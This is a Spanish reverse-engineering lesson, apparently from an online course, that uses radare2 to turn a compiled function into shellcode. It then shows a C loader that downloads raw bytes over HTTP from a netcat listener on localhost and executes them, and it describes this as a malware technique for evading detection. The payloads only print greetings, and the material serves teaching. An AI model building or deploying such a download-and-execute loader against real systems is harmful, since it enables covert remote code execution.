Y esa dirección contiene nuestro buffer de nops. Tras un par de instrucciones, el programa saltará allí mediante un call.

C / EJEMPLO
           ;-- rip:
           0x557a8fb29616 b    ffd2           call rdx
           0x557a8fb29618      90             nop
           0x557a8fb29619      c9             leave
           0x557a8fb2961a      c3             ret
[0x557a8fb29616]> dr rdx
0x557a8fb296a4

Y como los bytes de nuestro buffer hexadecimal se traducen fácilmente a instrucciones, el programa los «leerá» como código ejecutable, como puedes ver aquí:

C / EJEMPLO
[0x557a8fb29616]> ds
[0x557a8fb296a4]> pd 10
            ; DATA XREF from main @ 0x557a8fb29602
            ;-- b2:
            ;-- rdx:
            ;-- rip:
            0x557a8fb296a4      90             nop
            0x557a8fb296a5      90             nop
            0x557a8fb296a6      90             nop
            0x557a8fb296a7      90             nop
            ;-- section..eh_frame_hdr:
            ;-- segment.GNU_EH_FRAME:
            ;-- .eh_frame_hdr:
            ;-- __GNU_EH_FRAME_HDR:
            0x557a8fb296a8      011b           add dword [rbx], ebx    ; [16] -r-- section size 60 named .eh_frame_hdr
            0x557a8fb296aa      033b           add edi, dword [rbx]
            0x557a8fb296ac      3c00           cmp al, 0

Los nops se ejecutarán y después se ejecutará el extraño add dword [rbx], ebx que corresponde a una inicialización de memoria rara. Como el código posterior no tiene sentido por eso, el programa probablemente crasheará. Pero captas la idea, ¿verdad? ¿Y si conseguimos crear un buffer hexadecimal que represente realmente una función válida, una función que limpie la pila y retorne al código que la llamó?

Hagámoslo entonces.

Como en el programa anterior la función hello estaba de algún modo «autocontenida», podemos «convertirla en shellcode».

C / EJEMPLO
[0x55ef096056aa]> pdf
            ; CALL XREF from main @ 0x55ef09605707
 84: sym.hello ();
           ; var int64_t var_14h @ rbp-0x14
           ; var int64_t var_ch @ rbp-0xc
           ; var int64_t var_8h @ rbp-0x8
           0x55ef096056aa      55             push rbp
           0x55ef096056ab      4889e5         mov rbp, rsp
           0x55ef096056ae      4883ec20       sub rsp, 0x20
           0x55ef096056b2      64488b042528.  mov rax, qword fs:[0x28]
           0x55ef096056bb      488945f8       mov qword [var_8h], rax
           0x55ef096056bf      31c0           xor eax, eax
           0x55ef096056c1      48b868656c6c.  movabs rax, 0x6f77206f6c6c6568 ; 'hello wo'
           0x55ef096056cb      488945ec       mov qword [var_14h], rax
           0x55ef096056cf      c745f4726c64.  mov dword [var_ch], 0x646c72 ; 'rld'
           0x55ef096056d6      488d45ec       lea rax, [var_14h]
           0x55ef096056da      4889c7         mov rdi, rax
           0x55ef096056dd      b800000000     mov eax, 0
           0x55ef096056e2      e899feffff     call sym.imp.printf     ; int printf(const char *format)
           0x55ef096056e7      90             nop
           0x55ef096056e8      488b45f8       mov rax, qword [var_8h]
           0x55ef096056ec      644833042528.  xor rax, qword fs:[0x28]
       ┌─< 0x55ef096056f5      7405           je 0x55ef096056fc
          0x55ef096056f7      e874feffff     call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
       └─> 0x55ef096056fc      c9             leave
           0x55ef096056fd      c3             ret
[0x55ef096056aa]> 

Una vez dentro en r2, usaremos pc.

C / EJEMPLO
[0x55ef096056aa]> pc
#define _BUFFER_SIZE 256
const uint8_t buffer[_BUFFER_SIZE] = {
  0x55, 0x48, 0x89, 0xe5, 0x48, 0x83, 0xec, 0x20, 0x64, 0x48,
  0x8b, 0x04, 0x25, 0x28, 0x00, 0x00, 0x00, 0x48, 0x89, 0x45,
  0xf8, 0x31, 0xc0, 0x48, 0xb8, 0x68, 0x65, 0x6c, 0x6c, 0x6f,
  0x20, 0x77, 0x6f, 0x48, 0x89, 0x45, 0xec, 0xc7, 0x45, 0xf4,
  0x72, 0x6c, 0x64, 0x00, 0x48, 0x8d, 0x45, 0xec, 0x48, 0x89,
  0xc7, 0xb8, 0x00, 0x00, 0x00, 0x00, 0xe8, 0x99, 0xfe, 0xff,
  0xff, 0x90, 0x48, 0x8b, 0x45, 0xf8, 0x64, 0x48, 0x33, 0x04,
  0x25, 0x28, 0x00, 0x00, 0x00, 0x74, 0x05, 0xe8, 0x74, 0xfe,
  0xff, 0xff, 0xc9, 0xc3, 0x55, 0x48, 0x89, 0xe5, 0xb8, 0x00,
  0x00, 0x00, 0x00, 0xe8, 0x9e, 0xff, 0xff, 0xff, 0x90, 0x5d,
  0xc3, 0x90, 0x41, 0x57, 0x41, 0x56, 0x49, 0x89, 0xd7, 0x41,
  0x55, 0x41, 0x54, 0x4c, 0x8d, 0x25, 0x8e, 0x06, 0x20, 0x00,
  0x55, 0x48, 0x8d, 0x2d, 0x8e, 0x06, 0x20, 0x00, 0x53, 0x41,
  0x89, 0xfd, 0x49, 0x89, 0xf6, 0x4c, 0x29, 0xe5, 0x48, 0x83,
  0xec, 0x08, 0x48, 0xc1, 0xfd, 0x03, 0xe8, 0x07, 0xfe, 0xff,
  0xff, 0x48, 0x85, 0xed, 0x74, 0x20, 0x31, 0xdb, 0x0f, 0x1f,
  0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4c, 0x89, 0xfa, 0x4c,
  0x89, 0xf6, 0x44, 0x89, 0xef, 0x41, 0xff, 0x14, 0xdc, 0x48,
  0x83, 0xc3, 0x01, 0x48, 0x39, 0xdd, 0x75, 0xea, 0x48, 0x83,
  0xc4, 0x08, 0x5b, 0x5d, 0x41, 0x5c, 0x41, 0x5d, 0x41, 0x5e,
  0x41, 0x5f, 0xc3, 0x90, 0x66, 0x2e, 0x0f, 0x1f, 0x84, 0x00,
  0x00, 0x00, 0x00, 0x00, 0xf3, 0xc3, 0x00, 0x00, 0x48, 0x83,
  0xec, 0x08, 0x48, 0x83, 0xc4, 0x08, 0xc3, 0x00, 0x00, 0x00,
  0x01, 0x00, 0x02, 0x00, 0x01, 0x1b, 0x03, 0x3b, 0x40, 0x00,
  0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0xcc, 0xfd, 0xff, 0xff,
  0x8c, 0x00, 0x00, 0x00, 0xfc, 0xfd
};

Eso nos devolverá un buffer con el shellcode de la función para que podamos usarlo en nuestras actividades maliciosas.

Dentro del código funcionará así:

C / EJEMPLO
#include <stdio.h>
#include<string.h>
#include <stdint.h>

#define _BUFFER_SIZE 256
const uint8_t buffer[_BUFFER_SIZE] = {
  0x55, 0x48, 0x89, 0xe5, 0x48, 0x83, 0xec, 0x20, 0x64, 0x48,
  0x8b, 0x04, 0x25, 0x28, 0x00, 0x00, 0x00, 0x48, 0x89, 0x45,
  0xf8, 0x31, 0xc0, 0x48, 0xb8, 0x48, 0x65, 0x6c, 0x6c, 0x6f,
  0x20, 0x66, 0x72, 0x48, 0x89, 0x45, 0xea, 0xc7, 0x45, 0xf2,
  0x69, 0x65, 0x6e, 0x64, 0x66, 0xc7, 0x45, 0xf6, 0x21, 0x00,
  0x48, 0x8d, 0x45, 0xea, 0x48, 0x89, 0xc7, 0xb8, 0x00, 0x00,
  0x00, 0x00, 0xe8, 0x93, 0xfe, 0xff, 0xff, 0x90, 0x48, 0x8b,
  0x45, 0xf8, 0x64, 0x48, 0x33, 0x04, 0x25, 0x28, 0x00, 0x00,
  0x00, 0x74, 0x05, 0xe8, 0x6e, 0xfe, 0xff, 0xff, 0xc9, 0xc3,
  0x55, 0x48, 0x89, 0xe5, 0x90, 0x5d, 0xc3, 0x0f, 0x1f, 0x44,
  0x00, 0x00, 0x41, 0x57, 0x41, 0x56, 0x49, 0x89, 0xd7, 0x41,
  0x55, 0x41, 0x54, 0x4c, 0x8d, 0x25, 0x8e, 0x06, 0x20, 0x00,
  0x55, 0x48, 0x8d, 0x2d, 0x8e, 0x06, 0x20, 0x00, 0x53, 0x41,
  0x89, 0xfd, 0x49, 0x89, 0xf6, 0x4c, 0x29, 0xe5, 0x48, 0x83,
  0xec, 0x08, 0x48, 0xc1, 0xfd, 0x03, 0xe8, 0x07, 0xfe, 0xff,
  0xff, 0x48, 0x85, 0xed, 0x74, 0x20, 0x31, 0xdb, 0x0f, 0x1f,
  0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4c, 0x89, 0xfa, 0x4c,
  0x89, 0xf6, 0x44, 0x89, 0xef, 0x41, 0xff, 0x14, 0xdc, 0x48,
  0x83, 0xc3, 0x01, 0x48, 0x39, 0xdd, 0x75, 0xea, 0x48, 0x83,
  0xc4, 0x08, 0x5b, 0x5d, 0x41, 0x5c, 0x41, 0x5d, 0x41, 0x5e,
  0x41, 0x5f, 0xc3, 0x90, 0x66, 0x2e, 0x0f, 0x1f, 0x84, 0x00,
  0x00, 0x00, 0x00, 0x00, 0xf3, 0xc3, 0x00, 0x00, 0x48, 0x83,
  0xec, 0x08, 0x48, 0x83, 0xc4, 0x08, 0xc3, 0x00, 0x00, 0x00,
  0x01, 0x00, 0x02, 0x00, 0x90, 0x90, 0x90, 0x90, 0x01, 0x1b,
  0x03, 0x3b, 0x44, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
  0xc8, 0xfd, 0xff, 0xff, 0x90, 0x00
};


void main(){

    int (*func)();
    func = (int (*)()) buffer;
    (int)(*func)();
}

Y dentro de r2 será así:

C / EJEMPLO
[0x5606c6856704]> pdf
            ; DATA XREF from entry0 @ 0x5606c68565bd
 33: int main (int argc, char **argv, char **envp);
           ; var int64_t var_8h @ rbp-0x8
           0x5606c6856704      55             push rbp
           0x5606c6856705      4889e5         mov rbp, rsp
           0x5606c6856708      4883ec10       sub rsp, 0x10
           0x5606c685670c      488d05ed0000.  lea rax, obj.buffer     ; 0x5606c6856800
           0x5606c6856713      488945f8       mov qword [var_8h], rax
           0x5606c6856717      488b55f8       mov rdx, qword [var_8h]
           0x5606c685671b      b800000000     mov eax, 0
           0x5606c6856720      ffd2           call rdx
           0x5606c6856722      90             nop
           0x5606c6856723      c9             leave
           0x5606c6856724      c3             ret
[0x5606c6856704]> 

Lo mismo al inicio y luego el call:

C / EJEMPLO
[0x556afbdba800]> pd 10
            ; DATA XREF from main @ 0x556afbdba70c
            ;-- buffer:
            ;-- rdx:
            ;-- rip:
            0x556afbdba800      55             push rbp
            0x556afbdba801      4889e5         mov rbp, rsp
            0x556afbdba804      4883ec20       sub rsp, 0x20
            0x556afbdba808      64488b042528.  mov rax, qword fs:[0x28]
            0x556afbdba811      488945f8       mov qword [rbp - 8], rax
            0x556afbdba815      31c0           xor eax, eax
            0x556afbdba817  ~   48b848656c6c.  movabs rax, 0x7266206f6c6c6548 ; 'Hello fr'
            ;-- str.Hello_frH:

Ahí estará nuestro código. Ejecutar el programa producirá un «hello friend» sin crashear.

Descarga de shellcode

Probablemente estés pensando que, dado que solo necesitamos esos bytes en un buffer en memoria, podemos obtenerlos de un archivo o quizás de un servidor remoto. Y sí, esa técnica la usa habitualmente el malware para evadir ciertos mecanismos de detección.

Supongamos que tenemos un código como este:

C / EJEMPLO
int main() {
  write (1,"Hello!\n",7);
  exit(0);
}

Puede ser tan simple o tan complejo como quieras; el único requisito es que sea «autocontenido» (o que aplique correcciones sobre el programa anfitrión) y queremos entregarlo a un posible anfitrión que esté «esperándolo» a través de internet. Ya sabemos cómo obtenerlo y ejecutarlo en el programa anfitrión, pero ¿cómo lo traducimos a opcodes y lo entregamos por la red?

Podemos obtener esos opcodes usando ragg2 y luego volcarlos a un archivo hexadecimal:

C / EJEMPLO
:~/C$ 
:~/C$ ragg2-cc  -x w.c
eb0848656c6c6f210a00bf01000000488d35ecffffffba07000000b8010000000f0531ffb83c0000000f0531c0c3

Ahora simplemente podemos copiar y pegar esto, usar hexedit para crear un archivo nuevo y pegar el hexadecimal; así tendremos nuestro archivo binario de shellcode listo para entregarlo usando nuestro servidor HTTP.

El volcado tendrá este aspecto dentro de r2:

C / EJEMPLO
[0x00000000]> pd 50
            ;-- rflags:
 38: fcn.00000000 ();
       ┌─< 0x00000000      eb00           jmp 2
          ; CODE XREF from fcn.00000000 @ 
       └─> 0x00000002      488d351d0000.  lea rsi, [0x00000026]       ; "Hello!\n" ; 38
           0x00000009      bf01000000     mov edi, 1
           0x0000000e      ba07000000     mov edx, 7
           0x00000013      b801000000     mov eax, 1
           0x00000018      0f05           syscall
           0x0000001a      31ff           xor edi, edi
           0x0000001c      b83c000000     mov eax, 0x3c               ; '<' ; 60
           0x00000021      0f05           syscall
           0x00000023      31c0           xor eax, eax
           0x00000025      c3             ret
            ; DATA XREF from fcn.00000000 @ 0x2
            0x00000026      48656c         insb byte [rdi], dx
            0x00000029      6c             insb byte [rdi], dx
            0x0000002a      6f             outsd dx, dword [rsi]
            0x0000002b      210a           and dword [rdx], ecx
            0x0000002d      00ff           add bh, bh

Como ves, aquí estamos tratando directamente con syscalls (observa la instrucción syscall). Fíjate también en que tenemos dos: una para print y otra para exit, y la cadena está de algún modo autocontenida dentro del código.

Vamos con el programa anfitrión; será similar al cliente HTTP anterior:

C / EJEMPLO
#include <stdio.h>
#include <stdlib.h>
#include <netdb.h>
#include <netinet/in.h>
#include <string.h>
#include <stdlib.h> 
#include <fcntl.h>
#include <stdlib.h>

#define BSIZE 256
#define KSIZE 11


int main(int argc, char *argv[]) {
   int sockfd, portno, n;
   struct sockaddr_in serv_addr;
   struct hostent *server;
   char key[KSIZE];
   char request[] = "GET /sh HTTP/1.1\r\nUser-Agent: nc/0.0.1\r\nHost: 127.0.0.1\r\nAccept: */*\r\n\r\n";
   char buffer[BSIZE];

   portno = 80;
   sockfd = socket(AF_INET, SOCK_STREAM, 0);
   server = gethostbyname("127.0.0.1");


   bzero((char *) &serv_addr, sizeof(serv_addr));
   serv_addr.sin_family = AF_INET;
   bcopy((char *)server->h_addr, (char *)&serv_addr.sin_addr.s_addr, server->h_length);
   serv_addr.sin_port = htons(portno);

   if (connect(sockfd, (struct sockaddr*)&serv_addr, sizeof(serv_addr)) < 0) {
      exit(1);
   }

   bzero(buffer,BSIZE);

   n = write(sockfd, request, strlen(request));

   bzero(buffer,BSIZE);
   n = read(sockfd, buffer, BSIZE);
   printf("jumpting to shellcode\n");
   int (*func)();
   func = (int (*)()) buffer;
   (int)(*func)();

   return 0;
}

Nuestra rutina de buffer int func se ha añadido al final y esta vez no estamos leyendo una cadena sino bytes ejecutables.

Esta vez, para no complicar demasiado el ejemplo, no usaré un servidor web como Apache2; usaré netcat para «emular» un servidor web para esta única petición de la siguiente manera:

C / EJEMPLO
:/var/www/html$ sudo nc -lvp 80 < sh 
Listening on [0.0.0.0] (family 0, port 80)
Connection from localhost 36428 received!
GET /sh HTTP/1.1
User-Agent: nc/0.0.1
Host: 127.0.0.1
Accept: */*

Siendo sh el shellcode en hexadecimal RAW. Este comando indica a netcat que simplemente vuelque los bytes de ese archivo al primer cliente que se conecte a su puerto 80.

Entonces, ejecutar el programa será así:

C / EJEMPLO
:~/C/generic$ gcc -w httpget_download_shellcode.c -o sh -fno-stack-protector -z execstack
:~/C/generic$ ./sh 
jumpting to shellcode
Hello!

Fíjate en que compilé el programa con esos flags; de lo contrario no funcionará.

Analicémoslo ahora:

C / EJEMPLO
         0x55d39c38bac4      89c7           mov edi, eax
           0x55d39c38bac6      b800000000     mov eax, 0
           ;-- rip:
           0x55d39c38bacb b    e8c0fcffff     call sym.imp.read       ; ssize_t read(int fildes, void *buf, size_t nbyte)
           0x55d39c38bad0      8945ec         mov dword [var_14h], eax
           0x55d39c38bad3      488d3db40000.  lea rdi, str.jumpting_to_shellcode ; 0x55d39c38bb8e ; "jumpting to shellcode"
           0x55d39c38bada      e871fcffff     call sym.imp.puts       ; int puts(const char *s)
           0x55d39c38badf      488d8570feff.  lea rax, [var_190h]
           0x55d39c38bae6      488945e0       mov qword [var_20h], rax
           0x55d39c38baea      488b55e0       mov rdx, qword [var_20h]
           0x55d39c38baee      b800000000     mov eax, 0
           0x55d39c38baf3      ffd2           call rdx

El buffer empieza vacío, como siempre, y después se rellenará con shellcode:

C / EJEMPLO
[0x55d39c38bacb]> afvd
type:char ** doesn't exist
arg argc = 0x00000003 0xffffffffffffffff   ........ @rdi 0
arg argv = 
var var_194h = 0x7ffe727894ec = (qword)0x0000000000000001
var var_1a0h = 0x7ffe727894e0 = (qword)0x00007ffe72789768
var var_90h = 0x7ffe727895f0 = (qword)0x2068732f20544547
var var_88h = 0x7ffe727895f8 = (qword)0x312e312f50545448
var var_80h = 0x7ffe72789600 = (qword)0x412d726573550a0d
var var_78h = 0x7ffe72789608 = (qword)0x636e203a746e6567
var var_70h = 0x7ffe72789610 = (qword)0x0a0d312e302e302f
var var_68h = 0x7ffe72789618 = (qword)0x3231203a74736f48
var var_60h = 0x7ffe72789620 = (qword)0x0d312e302e302e37
var var_58h = 0x7ffe72789628 = (qword)0x3a7470656363410a
var var_50h = 0x7ffe72789630 = (qword)0x0a0d0a0d2a2f2a20
var var_48h = 0x7ffe72789638 = (qword)0x0000000000f0b500
var var_4h = 0x7ffe7278967c = (qword)0x9c38bb0000000050
var var_8h = 0x7ffe72789678 = (qword)0x0000005000000003
var var_10h = 0x7ffe72789670 = (qword)0x00007f4571b62300
var var_30h = 0x7ffe72789650 = (qword)0x0100007f50000002
var var_2eh = 0x7ffe72789652 = (qword)0x00000100007f5000
var var_190h = 0x7ffe727894f0 = (qword)0x0000000000000000
var var_14h = 0x7ffe7278966c = (qword)0x71b6230000000048
var var_20h = 0x7ffe72789660 = (qword)0x000055d39c38bb00

[0x55d39c38bacb]> pxw @ 0x7ffe727894f0
0x7ffe727894f0  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x7ffe72789500  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x7ffe72789510  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x7ffe72789520  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x7ffe72789530  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x7ffe72789540  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x7ffe72789550  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x7ffe72789560  0x00000000 0x00000000 0x00000000 0x00000000  ................

Después de la llamada a read:

C / EJEMPLO
[0x55d39c38bacb]> dc
hit breakpoint at: 55d39c38bad0
[0x55d39c38bad0]> pxw @ 0x7ffe727894f0
0x7ffe727894f0  0x8d4800eb 0x00001d35 0x0001bf00 0x07ba0000  ..H.5...........
0x7ffe72789500  0xb8000000 0x00000001 0xff31050f 0x00003cb8  ..........1..<..
0x7ffe72789510  0x31050f00 0x6548c3c0 0x216f6c6c 0x0000000a  ...1..Hello!....
0x7ffe72789520  0x00000000 0x00000000 0x00000000 0x00000000  ................

Ahora, en este punto:

C / EJEMPLO
           0x55d39c38baea      488b55e0       mov rdx, qword [var_20h]
           0x55d39c38baee      b800000000     mov eax, 0
           ;-- rip:
           0x55d39c38baf3 b    ffd2           call rdx
           0x55d39c38baf5      b800000000     mov eax, 0
           0x55d39c38bafa      c9             leave
           0x55d39c38bafb      c3             ret
[0x55d39c38baf3]> dr rdx
0x7ffe727894f0
[0x55d39c38baf3]> 

Y como vemos, si usamos pd para volcar esas instrucciones, vemos que todas tienen sentido:

C / EJEMPLO
[0x559e09c42af3]> pd 20 @ 0x7ffe05af6b40
            ;-- rdx:
        ┌─< 0x7ffe05af6b40      eb00           jmp 0x7ffe05af6b42
        └─> 0x7ffe05af6b42      488d351d0000.  lea rsi, [0x7ffe05af6b66] ; "Hello!\n"
            0x7ffe05af6b49      bf01000000     mov edi, 1
            0x7ffe05af6b4e      ba07000000     mov edx, 7
            0x7ffe05af6b53      b801000000     mov eax, 1
            0x7ffe05af6b58      0f05           syscall
            0x7ffe05af6b5a      31ff           xor edi, edi
            0x7ffe05af6b5c      b83c000000     mov eax, 0x3c           ; '<' ; 60
            0x7ffe05af6b61      0f05           syscall
            0x7ffe05af6b63      31c0           xor eax, eax
            0x7ffe05af6b65      c3             ret
            0x7ffe05af6b66      48656c         insb byte [rdi], dx
            0x7ffe05af6b69      6c             insb byte [rdi], dx
            0x7ffe05af6b6a      6f             outsd dx, dword [rsi]
            0x7ffe05af6b6b      210a           and dword [rdx], ecx

En las próximas entregas veremos temas más avanzados como mecanismos de comando y control sobre DNS, esta vez explorando la API de Windows.

Comprobación personal

Antes de continuar

Explica con tus palabras la operación estudiada y señala las instrucciones o capturas que la justifican. Distingue los datos observados de los nombres y tipos que has reconstruido.

El progreso se guarda en este navegador. Puedes recorrer las lecciones en cualquier orden.

Código original: AGPLv3. Textos y diagramas originales: CC BY-SA 4.0. Reutilización y alcance ↗.

Lobera

Conceptos de reversing

Consulta una definición y continúa donde estabas.